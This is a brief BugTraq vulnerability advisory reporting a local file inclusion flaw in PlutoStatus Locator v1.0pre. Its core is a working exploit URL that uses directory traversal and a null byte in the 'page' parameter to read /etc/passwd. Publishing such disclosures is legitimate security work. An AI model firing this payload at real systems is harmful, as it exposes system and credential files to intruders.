BugTraq
PlutoStatus Locator v1.0pre (alpha) local file inclusion vulnerability Feb 14 2008 08:01PM
muuratsalo experimental hack lab (muuratsalo gmail com)
PlutoStatus Locator v1.0pre (alpha) local file inclusion vulnerability

download http://sourceforge.net/projects/plutostatus/

author muuratsalo
contact muuratsalo[at]gmail.com

exploit
http://localhost/locator/index.php?page=../../../../../../../../../../et
c/passwd%00

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus